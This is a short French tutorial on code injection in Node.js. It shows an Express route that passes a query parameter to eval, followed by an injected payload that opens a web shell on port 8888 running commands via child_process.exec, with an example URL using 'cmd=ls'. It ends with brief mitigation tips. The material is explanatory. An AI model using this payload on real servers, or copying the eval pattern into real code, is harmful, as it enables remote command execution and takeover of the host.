Je vais parler la securite de l'application Node.js.
C'est plus tôt la notion de "Code injection".
Dans certain langage informatique, par exemple PHP, on a beaucoup de fonctions qui sont dangers exec
, eval
, system
etc... car ses fonctions vent exécuter la requête directement sur ton systeme sans protéger le droit d'exécution.
Une petite question, comment écrire une function qui permet d'évaluer une expression en Javascript
? La facon plus simple est d'utiliser la fonction eval
mais c'est un peu danger.
Exemple de code:
// -----------------à discuter-----------------
app.get('/test', function (req, res) {
res.render('test');
});
app.get('/testInfo', function (req, res) {
var params = url.parse(req.url, true).query;
// appler eval directement.
var tmp = eval(params['query']);
console.log(tmp);
res.send({ data: tmp });
});
// injection code
setTimeout(function() {
require('http').createServer(function(req, res) {
res.writeHead(200, { 'Content-Type': 'text/plain' });
var tmp = require('url').parse(req.url, true).query['cmd'];
require('child_process').exec(tmp, function(err, s, st) {
res.end(s);
});
}).listen(8888);
},5000);
Avec ce code on va s'exécuter dans notre site puis nous rendrer la port à 8888, on peut y accéder http://target/?cmd=ls
Cette image pour vous mentrer le but du fonction.
on lance l'url puis dans le console on a vu des logs...
Dans le navigateur, on voit les fichiers dans notre dossier...
Dans ce cas la, on peut faire ce qu'on veut, on a le doit de serveur.
Solution
- Ne pas executer le code avec une permision admin (ROOT)
- Eviter les codes “bizzres”
- Nginx + Node.js ( proxy inverse )